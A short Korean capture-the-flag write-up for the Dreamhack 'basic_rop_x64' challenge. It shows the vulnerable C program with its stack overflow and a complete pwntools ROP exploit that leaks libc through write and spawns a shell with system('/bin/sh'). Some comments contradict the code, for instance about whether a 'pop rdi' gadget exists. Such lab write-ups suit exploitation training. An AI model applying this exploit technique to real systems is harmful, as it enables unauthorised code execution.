64비트 rop이다.
솔직히 rop는 64비트가 32비트보다 쉬운 것 같다.
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void alarm_handler() {
puts("TIME OUT");
exit(-1);
}
void initialize() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(30);
}
int main(int argc, char *argv[]) {
char buf[0x40] = {};
initialize();
read(0, buf, 0x400);
write(1, buf, sizeof(buf));
return 0;
}
https://velog.io/@mm0ck3r/Dreamhack-basicropx86
위의 문제와 똑같은 문제이다. 하지만 64비트인 점 !
from pwn import *
#p = remote('host3.dreamhack.games', 12693)
p = process('./basic_rop_x64')
e = ELF('./basic_rop_x64')
libc = ELF('./libc.so.6')
p_rsi_r15 = 0x0000000000400881 # There is no pop rdi; ret;
p_rdi = 0x0000000000400883
main = 0x4007ba
write_got = e.got['write']
write_plt = e.plt['write']
write_offset = 0xf72b0
system_offset = 0x45390
binsh_offset = 0x18cd57
payload = 'A'*0x48
payload += p64(p_rsi_r15)
payload += p64(write_got)
payload += p64(0)
payload += p64(write_plt)
payload += p64(main)
p.send(payload)
p.recvn(0x40)
write_addr = u64(p.recvn(8))
print('write addr : ' + str(write_addr))
libc_base = write_addr - write_offset
system_addr = libc_base + system_offset
binsh_addr = libc_base + binsh_offset
#print('Libc Base : ' + str(libc_base))
payload = 'A'*0x48
payload += p64(p_rdi)
payload += p64(binsh_addr)
payload += p64(system_addr)
p.send(payload)
p.interactive()
pop rsi; pop r16; ret 가젯을 사용한 이유는 pop rdi; ret 가젯이 존재하지 않았기 때문이다.
32비트와 마찬가지로 첫 main 때는 libc base를 구했으며 다음 main은 쉘을 실행하였다.